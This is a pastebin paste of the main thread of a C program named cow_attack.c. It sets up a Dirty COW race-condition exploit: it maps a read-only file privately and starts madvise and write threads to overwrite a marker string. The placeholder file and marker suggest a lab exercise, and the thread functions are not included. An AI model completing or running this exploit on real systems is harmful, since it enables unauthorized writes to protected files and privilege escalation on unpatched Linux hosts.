TEXT   39

Untitled

Guest on 3rd May 2022 11:49:02 AM

  1. /* cow_attack.c (the main thread) */
  2. #include <sys/mman.h>
  3. #include <fcntl.h>
  4. #include <pthread.h>
  5. #include <sys/stat.h>
  6. #include <string.h>
  7. void *map;
  8. int main(int argc, char *argv[])
  9. {
  10. pthread_t pth1,pth2;
  11. struct stat st;
  12. int file_size;
  13. // Open the target file in the read-only mode.
  14. int f=open("/zzz", O_RDONLY);
  15. // Map the file to COW memory using MAP_PRIVATE.
  16. fstat(f, &st);
  17. file_size = st.st_size;
  18. map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
  19. // Find the position of the target area
  20. char *position = strstr(map, "222222");
  21. // We have to do the attack using two threads.
  22. pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
  23. pthread_create(&pth2, NULL, writeThread, position);
  24. // Wait for the threads to finish.
  25. pthread_join(pth1, NULL);
  26. pthread_join(pth2, NULL);
  27. return 0;
  28. }

Raw Paste


Login or Register to edit or fork this paste. It's free.